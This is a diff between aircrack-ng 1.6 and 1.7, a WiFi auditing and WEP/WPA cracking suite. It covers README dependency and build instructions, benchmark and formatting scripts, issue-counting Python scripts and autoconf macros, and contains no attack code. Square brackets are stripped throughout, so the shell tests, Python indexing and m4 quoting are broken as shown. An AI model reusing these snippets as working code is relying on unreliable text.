 !Alpine Linux Build Status(https://buildbot.aircrack-ng.org/badges/aircrack-ng-alpine.svg?left_text=Alpine%20Linux%20Build)(https://buildbot.aircrack-ng.org/)
 !Kali Linux Build Status(https://buildbot.aircrack-ng.org/badges/aircrack-ng-kali.svg?left_text=Kali%20Linux%20Build)(https://buildbot.aircrack-ng.org/)
 !Armel Kali Linux Build Status(https://buildbot.aircrack-ng.org/badges/aircrack-ng-armel.svg?left_text=Armel%20Kali%20Linux%20Build)(https://buildbot.aircrack-ng.org/)
@@ -24,7 +21,7 @@
  * Testing: Checking WiFi cards and driver capabilities (capture and injection).
  * Cracking: WEP and WPA PSK (WPA 1 and 2).
 
-All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily Linux but also Windows, OS X, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2. 
+All tools are command line which allows for heavy scripting. A lot of GUIs have taken advantage of this feature. It works primarily on Linux but also Windows, macOS, FreeBSD, OpenBSD, NetBSD, as well as Solaris and even eComStation 2. 
 
 # Building
 
@@ -35,29 +32,32 @@
  * Libtool
  * shtool
  * OpenSSL development package or libgcrypt development package.
- * Airmon-ng (Linux) requires ethtool.
- * On windows, cygwin has to be used and it also requires w32api package.
+ * Airmon-ng (Linux) requires ethtool, usbutils, and often pciutils.
+ * On Windows, cygwin has to be used and it also requires w32api package.
  * On Windows, if using clang, libiconv and libiconv-devel
  * Linux: LibNetlink 1 or 3. It can be disabled by passing --disable-libnl to configure.
  * pkg-config (pkgconf on FreeBSD)
- * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with macports: gmake
+ * FreeBSD, OpenBSD, NetBSD, Solaris and OS X with Macports: gmake
  * Linux/Cygwin: make and Standard C++ Library development package (Debian: libstdc++-dev)
 
+Note: Airmon-ng only requires pciutils if the system has a PCI/PCIe bus and it is populated.
+      Such bus can be present even if not physically visible. For example, it is present,
+      and populated on the Raspberry Pi 4, therefore pciutils is required on that device.
+
 ## Optional stuff
 
  * If you want SSID filtering with regular expression in airodump-ng
-   (-essid-regex) pcre development package is required.
+   (-essid-regex) PCRE development package is required.
  * If you want to use airolib-ng and '-r' option in aircrack-ng,
    SQLite development package >= 3.3.17 (3.6.X version or better is recommended)
  * If you want to use Airpcap, the 'developer' directory from the CD/ISO/SDK is required.
  * In order to build `besside-ng`, `besside-ng-crawler`, `easside-ng`, `tkiptun-ng` and `wesside-ng`,
-   libpcap development package is required (on Cygwin, use the Aircap SDK instead; see above)
- * For best performance on FreeBSD (50-70% more), install gcc5 (or better) via: pkg install gcc9
+   libpcap development package is required (on Cygwin, use the Airpcap SDK instead; see above)
  * rfkill
  * If you want Airodump-ng to log GPS coordinates, gpsd is needed
  * For best performance on SMP machines, ensure the hwloc library and headers are installed. It is strongly recommended on high core count systems, it may give a serious speed boost
  * CMocka for unit testing
- * For intergation testing on Linux only: tcpdump, HostAPd, WPA Supplicant and screen
+ * For integration testing on Linux only: tcpdump, HostAPd, WPA Supplicant and screen
 
 ## Installing required and optional dependencies
 
@@ -68,19 +68,37 @@
 
 ### Linux
 
+#### Arch Linux
+
+    sudo pacman -Sy base-devel libnl openssl ethtool util-linux zlib libpcap sqlite pcre hwloc cmocka hostapd wpa_supplicant tcpdump screen iw usbutils pciutils
+
 #### Debian/Ubuntu
 
     sudo apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils
 
-#### Fedora/CentOS/RHEL
+#### Fedora
+
+    sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel make file expect hostapd wpa_supplicant iw usbutils tcpdump screen zlib-devel
+
+#### CentOS/RHEL 7
 
-    sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel git make file expect hostapd wpa_supplicant iw usbutils tcpdump screen
+    sudo yum install epel-release
+    sudo ./centos_autotools.sh
+    # Remove older installation of automake/autoconf
+    sudo yum remove autoconf automake
+    sudo yum install sqlite-devel openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel ethtool hwloc-devel libcmocka-devel make file expect hostapd wpa_supplicant iw usbutils tcpdump screen zlib-devel
 
-**Note**: on CentOS and RedHat, HostAPd requires 'epel' repository to be enabled: sudo yum install epel-release
+**Note**: autoconf, automake, libtool, and pkgconfig in the repositories are too old. The script centos_autotools.sh automatically installs dependencies to compile then install the tools.
+
+#### CentOS/RHEL 8
+
+    sudo yum config-manager --set-enabled powertools
+    sudo yum install epel-release
+    sudo yum install libtool pkgconfig sqlite-devel autoconf automake openssl-devel libpcap-devel pcre-devel rfkill libnl3-devel gcc gcc-c++ ethtool hwloc-devel libcmocka-devel make file expect hostapd wpa_supplicant iw usbutils tcpdump screen zlib-devel
 
 #### openSUSE
 
-    sudo zypper install autoconf automake libtool pkg-config libnl3-devel libopenssl-1_1-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc
+    sudo zypper install autoconf automake libtool pkg-config libnl3-devel libopenssl-1_1-devel zlib-devel libpcap-devel sqlite3-devel pcre-devel hwloc-devel libcmocka-devel hostapd wpa_supplicant tcpdump screen iw gcc-c++ gcc ethtool pciutils usbutils
 
 #### Mageia
 
@@ -88,7 +106,15 @@
 
 #### Alpine
 
-    sudo apk add gcc g++ make autoconf automake libtool libnl3-dev openssl-dev ethtool libpcap-dev cmocka-dev hostapd wpa_supplicant tcpdump screen iw pkgconf util-linux sqlite-dev pcre-dev linux-headers zlib-dev
+    sudo apk add gcc g++ make autoconf automake libtool libnl3-dev openssl-dev ethtool libpcap-dev cmocka-dev hostapd wpa_supplicant tcpdump screen iw pkgconf util-linux sqlite-dev pcre-dev linux-headers zlib-dev pciutils usbutils
+
+**Note**: Community repository needs to be enabled for iw
+
+#### Clear Linux
+
+    sudo swupd bundle-add c-basic devpkg-openssl devpkg-libgcrypt devpkg-libnl devpkg-hwloc devpkg-libpcap devpkg-pcre devpkg-sqlite-autoconf ethtool wget network-basic software-testing sysadmin-basic wpa_supplicant
+
+**Note**: hostapd must be compiled manually, it is not present in the repository
 
 ### BSD
 
@@ -104,7 +130,7 @@
 
     pkg_add pkgconf shtool libtool gcc automake autoconf pcre sqlite3 openssl gmake cmocka
 
-### OSX
+### macOS
 
 XCode, Xcode command line tools and HomeBrew are required.
 
@@ -222,6 +248,8 @@
                     is to compile the generic optimization in the binary. --with-static-simd merely allows
                     to choose another one.
 
+* **enable-maintainer-mode**: It is important to enable this flag when developing with Aircrack-ng. This flag enables additional compile warnings and safety features.
+
 #### Examples:
 
   * Configure and compiling:
@@ -269,6 +297,15 @@
     gmake
     ```
 
+  * Compiling on macOS running on M1/AARCH64 and Homebrew:
+
+    ```
+    autoreconf -vif
+    env CPPFLAGS="-Wno-deprecated-declarations" ./configure --with-experimental
+    make
+    make check
+    ```
+
   * Compiling on OS X 10.10 with XCode 7.1 and Homebrew:
 
     ```
@@ -329,7 +366,7 @@
    export AUTOCONF_VERSION=2.69
    export AUTOMAKE_VERSION=1.16
    autoreconf -i
-   env MAKE=gmake ./configure
+   env MAKE=gmake CC=cc CXX=c++ ./configure
    gmake
    ```
 
@@ -338,11 +375,45 @@
    ```
    export CFLAGS='-O0 -g'
    export CXXFLAGS='-O0 -g'
-   ./configure    
+   ./configure --with-experimental --enable-maintainer-mode --without-opt
    make
    LD_LIBRARY_PATH=.libs gdb --args ./aircrack-ng PARAMETERS
    ```
 
+# IDE development
+
+## VS Code - devcontainers
+
+A VS Code development environment is provided, as is, for rapid setup of a development environment. This additionally adds support for GitHub Codespaces.
+
+### Requirements
+
+The first requirement is a working Docker Engine(https://docs.docker.com/engine/install/) environment.
+
+Next, an installation of VS Code(https://code.visualstudio.com/) with the following extension(s):
+
+- `Remote - Containers`(https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) by Microsoft.
+
+> The "Remote - Containers" extension will refuse to work with OSS Code.
+
+### Usage
+
+1. Clone this repository to your working folder:
+```
+$ git clone --recursive https://github.com/aircrack-ng/aircrack-ng.git
+$ cd aircrack-ng
+```
+2. After cloning this repository, open the folder inside VS Code.
+```
+$ code .
+```
+> IMPORTANT: You should answer "Yes", if it asks if the folder should be opened inside a remote container. If it does not ask, then press `Ctrl+Shift+P` and type `open in container`. This should bring up the correct command, for which pressing enter will run said command.
+
+3. A number of warnings might appear about a missing `compile_commands.json` file. These are safe to ignore for a moment, as this file is automatically generated after the initial compilation.
+4. Now build the entire project by pressing `Ctrl+R` and selecting `Build Full` from the pop-up menu that appears.
+5. VS Code should detect the `compile_commands.json` file and ask if it should be used; selecting "Yes, always" will complete the initial setup of a fully working IDE.
+> IMPORTANT: If it doesn't detect the file, pressing `Ctrl+Shift+P` and typing `reload window` will bring up the selection to fully reload the environment.
+6. At this point, nearly all features of VS Code will function; from Intellisense, auto-completion, live documentation, to code formatting. Additionally, there are pre-configured tasks for builds and tests, as well as an example GDB/LLDB configuration for debugging `aircrack-ng`.
 
 # Packaging
 
@@ -355,27 +426,58 @@
 
 `./configure --without-opt`
 
-# Using precompiled binaries
+# Using pre-compiled binaries
 
 ## Linux/BSD
- * Use your package manager to download aircrack-ng
- * In most cases, they have an old version.
+
+Aircrack-ng is available in most distributions repositories. However, it is not always up to date.
+
+We provide up to date versions via PackageCloud for a number of Linux distributions:
+
+- development (each commit in this repo): https://packagecloud.io/aircrack-ng/git
+- stable releases: https://packagecloud.io/aircrack-ng/release
 
 ## Windows
- * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data).
- * aircrack-ng suite is command line tools. So, you have to open a commandline
+ * Install the appropriate "monitor" driver for your card; standard drivers don't work for capturing data.
+ * Aircrack-ng suite is command line tools. So, you have to open a command-line
    `Start menu -> Run... -> cmd.exe` then use them
  * Run the executables without any parameters to have help
 
+# Continuous integration
+
+- Linux CI (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/linux.yml
+- Windows CI (Github actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/windows.yml
+- macOS CI (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/macos.yml
+- Code style and consistency (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/style.yml
+- PVS-Studio static analysis (GitHub actions): https://github.com/aircrack-ng/aircrack-ng/actions/workflows/pvs-studio.yml
+- Coverity Scan static analysis: https://scan.coverity.com/projects/aircrack-ng
+
+## Buildbots
+
+URL: https://buildbot.aircrack-ng.org/
+
+Linux buildbots:
+- CentOS
+- AArch64
+- Kali Linux
+- Armel Kali Linux
+- Armhf Kali Linux
+- Alpine Linux
+
+BSD buildbots:
+- OpenBSD
+- FreeBSD
+- NetBSD
+- DragonflyBSD
+
 # Documentation
 
+Some more information is present in the README(README) file.
 
 Documentation, tutorials, ... can be found on https://aircrack-ng.org
 
-See also manpages and the forum.
+Support is available in the forum(https://forum.aircrack-ng.org) and on IRC (in #aircrack-ng on Libera Chat).
 
-For further information check the README(README) file
+Every tool has its own manpage. For aircrack-ng, `man aircrack-ng`
 
 # Infrastructure sponsors
-
-<img src="https://uploads-ssl.webflow.com/5ac3c046c82724970fc60918/5c019d917bba312af7553b49_MacStadium-developerlogo.png" alt="MacStadium" width="150" height="61">

aircrack-ng-1.6.tar.gz/build/benchmark -> aircrack-ng-1.7.tar.gz/build/benchmark Changed

@@ -2,7 +2,7 @@
 
 set -euf
 
-TESTS=$(./src/aircrack-ng --simd-list)
+TESTS=$(./aircrack-ng --simd-list)
 BENCHMARKS=benchmark.csv
 TOP=$(dirname "$0")/..
 REV=$(cd "$TOP" && "./evalrev")
@@ -13,18 +13,18 @@
 for T in $TESTS; do
     NCPU=$(nproc)
 
-    while  $NCPU -ge 1 ; do
+    while  "$NCPU" -ge 1 ; do
     	LOOPS=1
 
-    	while  $LOOPS -le 5 ; do
-        	RESULT=$(./src/aircrack-ng --simd=$T -p $NCPU -S | tr '\r' '\n' | awk -v max=0 '{if($1>max){max=$1}}END{print max}')
+    	while  "$LOOPS" -le 5 ; do
+        	RESULT=$(./aircrack-ng "--simd=$T" -p "$NCPU" -S | tr '\r' '\n' | awk -v max=0 '{if($1>max){max=$1}}END{print max}')
         	echo "$REV,$(uname -m),$T,$NCPU,$RESULT" | tee -a "$BENCHMARKS"
 
-        	LOOPS=$(($LOOPS + 1))
+        	LOOPS=$((LOOPS + 1))
         done
 
-         ${NCPU} -eq 1  && break
-         $(( $NCPU & 1 ))  && NCPU=$((NCPU + 1))
+         "${NCPU}" -eq 1  && break
+         $((NCPU & 1))  && NCPU=$((NCPU + 1))
         NCPU=$((NCPU/2))
     done
 done

aircrack-ng-1.6.tar.gz/build/clang_format_all.sh -> aircrack-ng-1.7.tar.gz/build/clang_format_all.sh Changed

@@ -19,7 +19,7 @@
 
 # define a function to check the current $CLANG_FORMAT
 valid_clang_format() {
-	if which $CLANG_FORMAT > /dev/null 2>&1; then
+	if which "$CLANG_FORMAT" > /dev/null 2>&1; then
 		if $CLANG_FORMAT --version | grep -q $CLANG_FORMAT_VERSION; then
 			echo "Located $CLANG_FORMAT";
 			return 0;
@@ -66,11 +66,11 @@
 fi;
 
 # Format all source code
-find src -iname '*.h' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ | \
-    xargs -n1 $CLANG_FORMAT -i -style=file
-find src -iname '*.cpp' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ | \
-    xargs -n1 $CLANG_FORMAT -i -style=file
-find src -iname '*.c' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ | \
-    xargs -n1 $CLANG_FORMAT -i -style=file
+find src -iname '*.h' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ -print0 | \
+    xargs -0 -n1 $CLANG_FORMAT -i -style=file
+find src -iname '*.cpp' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ -print0 | \
+    xargs -0 -n1 $CLANG_FORMAT -i -style=file
+find src -iname '*.c' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ -print0 | \
+    xargs -0 -n1 $CLANG_FORMAT -i -style=file
 $CLANG_FORMAT -i -style=file include/aircrack-ng/third-party/eapol.h
 $CLANG_FORMAT -i -style=file include/aircrack-ng/third-party/hashcat.h

aircrack-ng-1.7.tar.gz/build/cocci.sh Added

aircrack-ng-1.7.tar.gz/build/coccinelle Added

aircrack-ng-1.7.tar.gz/build/coccinelle/convert_u_int_form.cocci Added

aircrack-ng-1.7.tar.gz/build/count-infer-bugs.py Added

@@ -0,0 +1,91 @@
+#!/usr/bin/python3
+
+# SPDX-License-Identifier: GPL-2.0-or-later
+#
+# Copyright (C) 2020-2021  Kevin R. Croft <krcroft@gmail.com>
+# Copyright (C) 2020-2022  Joseph Benden <joe@benden.us>
+
+"""
+Count the number of issues found in an Infer report.
+
+Usage: count-infer-bugs.py REPORT MAX-ISSUES
+Where:
+ - REPORT is a file in JSON-format
+ - MAX-ISSUES is as a positive integer indicating the maximum
+   issues that should be permitted before returning failure
+   to the shell. Default is non-limit.
+
+"""
+
+# pylint: disable=invalid-name
+# pylint: disable=missing-docstring
+
+import collections
+import os
+import json
+import sys
+
+def parse_issues(filename):
+    """
+    Returns a dict of source filename keys having occurrence-count values
+
+    """
+    cwd = os.getcwd()
+    issues = collections.defaultdict(int)
+    types = collections.defaultdict(int)
+    with open(filename) as csvfile:
+        reader = json.load(csvfile)
+        for row in reader:
+            bug_type = row'bug_type_hum' or row'bug_type'
+            sourcefile = os.path.realpath(row'file')
+            # Skip non-file lines
+            if not sourcefile.startswith('/'):
+                continue
+            sourcefile = os.path.relpath(sourcefile, cwd)
+            issuessourcefile += 1
+            typesbug_type += 1
+    return issues, types
+
+
+def main(argv):
+    # assume success until proven otherwise
+    rcode = 0
+
+    # Get the issues and the total tally
+    issues, types = parse_issues(argv1)
+    tally = sum(issues.values())
+    tally_types = sum(types.values())
+
+    if tally_types > 0:
+        # find the longest entry
+        longest_name = max(len(entry) for entry in types.keys())
+        # Print the category and their issue counts
+        print("Counts sorted by bug category:\n")
+
+        for entry in sorted(types, key=types.get, reverse=True):
+            print(f'  {entry:{longest_name}} : {typesentry}')
+
+    print("")
+
+    if tally > 0:
+        # find the longest source filename
+        longest_name = max(len(sourcefile) for sourcefile in issues.keys())
+        # Print the source filenames and their issue counts
+        print("Counts sorted by filename:\n")
+
+        for sourcefile in sorted(issues, key=issues.get, reverse=True):
+            print(f'  {sourcefile:{longest_name}} : {issuessourcefile}')
+
+    # Print the tally against the desired maximum
+    if len(sys.argv) == 3:
+        max_issues = int(sys.argv2)
+        print(f'\nTotal: {tally} issues (out of {max_issues} allowed)')
+        if tally > max_issues:
+            rcode = 1
+    else:
+        print(f'\nTotal: {tally} issues')
+
+    return rcode
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv))

aircrack-ng-1.7.tar.gz/build/count-pvs-bugs.py Added

@@ -0,0 +1,78 @@
+#!/usr/bin/python3
+
+# SPDX-License-Identifier: GPL-2.0-or-later
+#
+# Copyright (C) 2020-2021  Kevin R. Croft <krcroft@gmail.com>
+
+"""
+Count the number of issues found in an PVS-Studio report.
+
+Usage: count-pvs-issues.py REPORT MAX-ISSUES
+Where:
+ - REPORT is a file in CSV-format
+ - MAX-ISSUES is as a positive integer indicating the maximum
+   issues that should be permitted before returning failure
+   to the shell. Default is non-limit.
+
+"""
+
+# pylint: disable=invalid-name
+# pylint: disable=missing-docstring
+
+import collections
+import csv
+import os
+import sys
+
+def parse_issues(filename):
+    """
+    Returns a dict of source filename keys having occurrence-count values
+
+    """
+    cwd = os.getcwd()
+    issues = collections.defaultdict(int)
+    with open(filename) as csvfile:
+        reader = csv.DictReader(csvfile)
+        for row in reader:
+            # Skip non-file lines
+            if not row'FilePath'.startswith('/'):
+                continue
+            sourcefile = os.path.realpath(row'FilePath')
+            # Skip non-file lines
+            if not sourcefile.startswith('/'):
+                continue
+            sourcefile = os.path.relpath(sourcefile, cwd)
+            issuessourcefile += 1
+    return issues
+
+
+def main(argv):
+    # assume success until proven otherwise
+    rcode = 0
+
+    # Get the issues and the total tally
+    issues = parse_issues(argv1)
+    tally = sum(issues.values())
+
+    if tally > 0:
+        # find the longest source filename
+        longest_name = max(len(sourcefile) for sourcefile in issues.keys())
+        # Print the source filenames and their issue counts
+        print("Sorted by issue count:\n")
+
+        for sourcefile in sorted(issues, key=issues.get, reverse=True):
+            print(f'  {sourcefile:{longest_name}} : {issuessourcefile}')
+
+    # Print the tally against the desired maximum
+    if len(sys.argv) == 3:
+        max_issues = int(sys.argv2)
+        print(f'\nTotal: {tally} issues (out of {max_issues} allowed)')
+        if tally > max_issues:
+            rcode = 1
+    else:
+        print(f'\nTotal: {tally} issues')
+
+    return rcode
+
+if __name__ == "__main__":
+    sys.exit(main(sys.argv))

aircrack-ng-1.7.tar.gz/build/infer.sh Added

aircrack-ng-1.7.tar.gz/build/m4/aircrack_ng_compat.m4 Added

@@ -0,0 +1,66 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2020-2022 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN(AIRCRACK_NG_COMPAT, 
+
+AC_CHECK_HEADERS(bsd/string.h, HAVE_BSD_STRING_H=yes, HAVE_BSD_STRING_H=no)
+AM_CONDITIONAL(HAVE_BSD_STRING_H, test "$HAVE_BSD_STRING_H" = yes)
+AC_CHECK_LIB(bsd, strlcpy,  LIBS="$LIBS -lbsd" , :)
+AC_CHECK_FUNCS(strlcpy strlcat, :)
+
+have_bsd=no
+if test "$cross_compiling" != yes
+then
+	AC_RUN_IFELSE(AC_LANG_PROGRAM(
+	#include <stdlib.h>
+	#include <string.h>
+	,
+	#if defined(__APPLE__) && defined(__MACH__)
+	exit(0); /* Apple has these as macros */
+	#endif
+	#ifndef strlcpy
+	exit(1);
+	#endif
+	), have_bsd=yes)
+fi
+
+AM_CONDITIONAL(INCLUDE_COMPAT_STRLCAT, test "$ac_cv_func_strlcat" != yes && test "$have_bsd" != yes)
+AM_CONDITIONAL(INCLUDE_COMPAT_STRLCPY, test "$ac_cv_func_strlcpy" != yes && test "$have_bsd" != yes)
+
+)

aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_compiler.m4 -> aircrack-ng-1.7.tar.gz/build/m4/aircrack_ng_compiler.m4 Changed

@@ -70,6 +70,17 @@
         ;;
 esac
 
+AC_ARG_WITH(lto,
+    AS_HELP_STRING(--with-lto,
+        enable link-time optimizations))
+
+AS_IF(test "x$with_lto" = "xyes", 
+    AX_CHECK_COMPILE_FLAG(-flto, 
+        AX_APPEND_FLAG(-flto, opt__AC_LANG_ABBREVflags)
+        AX_APPEND_FLAG(-flto, opt_ldflags)
+    )
+)
+
 AC_ARG_WITH(opt,
     AS_HELP_STRING(--without-opt,
         disable -O3 optimizations))
@@ -90,12 +101,8 @@
         AX_APPEND_FLAG(-std=gnu99, opt__AC_LANG_ABBREVflags)
     )
 
-    AX_CHECK_COMPILE_FLAG(-fno-strict-aliasing, 
-        AX_APPEND_FLAG(-fno-strict-aliasing, opt__AC_LANG_ABBREVflags)
-    )
-
-    AX_CHECK_COMPILE_FLAG(-Wpointer-arith, 
-        AX_APPEND_FLAG(-Wpointer-arith, opt__AC_LANG_ABBREVflags)
+    AX_CHECK_COMPILE_FLAG(-fcommon, 
+        AX_APPEND_FLAG(-fcommon, opt__AC_LANG_ABBREVflags)
     )
 
 	case "$ax_cv__AC_LANG_ABBREV_compiler_vendor" in
@@ -112,12 +119,6 @@
             AX_APPEND_FLAG(-diag-disable 2218, opt__AC_LANG_ABBREVflags)
             ;;
     esac
-
-    case "$ax_cv__AC_LANG_ABBREV_compiler_vendor" in
-        gnu|clang|intel)
-            AX_APPEND_FLAG(-Wstrict-prototypes, opt__AC_LANG_ABBREVflags)
-            ;;
-    esac
 )
 
 AX_CHECK_COMPILE_FLAG(-fvisibility=hidden, 
@@ -132,49 +133,64 @@
     ;;
 esac
 
-dnl
-dnl Enable compiler flags that meet the required minimum version
-dnl
-case "$ax_cv__AC_LANG_ABBREV_compiler_vendor" in
-    gnu|clang)
-        case "$host_os" in
-            CYGWIN*|MSYS*|cygwin*|msys*)
-                ;;
-            *)
-                case $with_opt in
-                    yes | "")
-                        AS_IF(test "x$gcc_over49" = "xno", 
-                            AS_IF(test "x$gcc_over41" = "xyes", 
-                                AX_CHECK_COMPILE_FLAG(-fstack-protector, 
-                                    AX_APPEND_FLAG(-fstack-protector, opt__AC_LANG_ABBREVflags)
-                                )
-                            , )
-                        , )
-
-                        AS_IF(test "x$gcc_over49" = "xyes", 
-                            AX_CHECK_COMPILE_FLAG(-fstack-protector-strong, 
-                                AX_APPEND_FLAG(-fstack-protector-strong, opt__AC_LANG_ABBREVflags)
-                            )
-                        , )
-                        ;;
-                esac
+AS_IF(test "x$enable_maintainer_mode" = "xyes", 
+    AS_IF(test "x$gcc_over49" = "xyes", 
+        AX_CHECK_COMPILE_FLAG(-pedantic, 
+            AX_APPEND_FLAG(-pedantic, opt__AC_LANG_ABBREVflags)
+
+            case "$ax_cv_c_compiler_vendor" in
+                clang)
+                    AX_CHECK_COMPILE_FLAG(-Wno-newline-eof, 
+                        AX_APPEND_FLAG(-Wno-newline-eof, opt__AC_LANG_ABBREVflags)
+                    )
+                    AX_CHECK_COMPILE_FLAG(-Wno-language-extension-token, 
+                        AX_APPEND_FLAG(-Wno-language-extension-token, opt__AC_LANG_ABBREVflags)
+                    )
+                    AX_CHECK_COMPILE_FLAG(-Wno-gnu-statement-expression, 
+                        AX_APPEND_FLAG(-Wno-gnu-statement-expression, opt__AC_LANG_ABBREVflags)
+                    )
+                    ;;
+            esac
+        )
+	)
+
+    AX_CHECK_COMPILE_FLAG(-Wextra, 
+        AX_APPEND_FLAG(-Wextra, opt__AC_LANG_ABBREVflags)
+    )
+
+    case "$ax_cv__AC_LANG_ABBREV_compiler_vendor" in
+        intel)
+            AX_APPEND_FLAG(-diag-disable remark, opt__AC_LANG_ABBREVflags)
+            ;;
+        *)
+            AX_CHECK_COMPILE_FLAG(-Werror, 
+                AX_APPEND_FLAG(-Werror, opt__AC_LANG_ABBREVflags)
+            )
+		    ;;
+	esac
+
+    AC_LANG_CASE(C, 
+        case "$ax_cv__AC_LANG_ABBREV_compiler_vendor" in
+            gnu|clang|intel)
+                AX_APPEND_FLAG(-Wstrict-prototypes, opt__AC_LANG_ABBREVflags)
                 ;;
         esac
-        ;;
-esac
+    )
+
+    AX_CHECK_COMPILE_FLAG(-Wpointer-arith, 
+        AX_APPEND_FLAG(-Wpointer-arith, opt__AC_LANG_ABBREVflags)
+    )
 
-AS_IF(test "x$gcc_over45" = "xyes", 
     case "$ax_cv__AC_LANG_ABBREV_compiler_vendor" in
-        gnu|intel)
-            AX_CHECK_COMPILE_FLAG(-Wno-unused-but-set-variable, 
-                AX_APPEND_FLAG(-Wno-unused-but-set-variable, opt__AC_LANG_ABBREVflags)
+        gnu|clang)
+            dnl BSD systems complain about CMocka using ,##__VA_ARGS__
+            dnl Suppress this warning
+            AX_CHECK_COMPILE_FLAG(-Werror -Wno-gnu-zero-variadic-macro-arguments, 
+                AX_APPEND_FLAG(-Wno-gnu-zero-variadic-macro-arguments, opt__AC_LANG_ABBREVflags)
             )
-            ;;
+        ;;
     esac
-    AX_CHECK_COMPILE_FLAG(-Wno-array-bounds, 
-        AX_APPEND_FLAG(-Wno-array-bounds, opt__AC_LANG_ABBREVflags)
-    )
-, )
+)
 )
 
 AC_DEFUN(AIRCRACK_NG_COMPILER_C,

aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_experimental.m4 -> aircrack-ng-1.7.tar.gz/build/m4/aircrack_ng_experimental.m4 Changed

aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_largefile.m4 -> aircrack-ng-1.7.tar.gz/build/m4/aircrack_ng_largefile.m4 Changed

@@ -37,10 +37,49 @@
 dnl If you delete this exception statement from all source files in the
 dnl program, then also delete it here.
 
-AC_DEFUN(AIRCRACK_NG_LARGEFILE, 
-AX_REQUIRE_DEFINED(AC_SYS_LARGEFILE)dnl
+AC_DEFUN(_AIRCRACK_NG_LARGEFILE_TEST, 
+AC_LANG_PUSH(C++)
+AC_CHECK_SIZEOF(off_t)
+AC_SYS_LONG_FILE_NAMES
+AC_SYS_LARGEFILE
+AC_FUNC_FSEEKO
+AC_CHECK_SIZEOF(off_t)
+AC_LANG_POP(C++)
+
+ac_cv_sizeof_off_t_cpp=$ac_cv_sizeof_off_t
+unset ac_cv_sizeof_off_t
 
+AC_LANG_PUSH(C)
+AC_CHECK_SIZEOF(off_t)
+AC_SYS_LONG_FILE_NAMES
 AC_SYS_LARGEFILE
+AC_FUNC_FSEEKO
+AC_CHECK_SIZEOF(off_t)
+AC_LANG_POP(C)
+
+ac_cv_sizeof_off_t_c=$ac_cv_sizeof_off_t
+unset ac_cv_sizeof_off_t
+)
+
+AC_DEFUN(AIRCRACK_NG_LARGEFILE, 
+
+_AIRCRACK_NG_LARGEFILE_TEST
+
+AS_IF(test ".$ac_cv_sizeof_off_t_c" != ".$ac_cv_sizeof_off_t_cpp", 
+    AS_IF(test $ac_cv_sizeof_off_t_cpp -eq 4, 
+        AC_DEFINE(_FILE_OFFSET_BITS, 64, Define this if 64-bit file access requires this define to be present)
+        CXXFLAGS="$CXXFLAGS -D_FILE_OFFSET_BITS=64"
+    )
+    AS_IF(test $ac_cv_sizeof_off_t_c -eq 4, 
+        AC_DEFINE(_FILE_OFFSET_BITS, 64, Define this if 64-bit file access requires this define to be present)
+        CFLAGS="$CFLAGS -D_FILE_OFFSET_BITS=64"
+    )
+    unset ac_cv_sizeof_off_t
+    _AIRCRACK_NG_LARGEFILE_TEST
+    AS_IF(test ".$ac_cv_sizeof_off_t_c" != ".$ac_cv_sizeof_off_t_cpp", 
+        AC_MSG_ERROR(Cannot figure out how to make C and C++ compilers have the same sized off_t.)
+    )
+)
 
 AS_IF(test ".$ac_cv_sys_file_offset_bits$ac_cv_sys_large_files" != ".nono", 
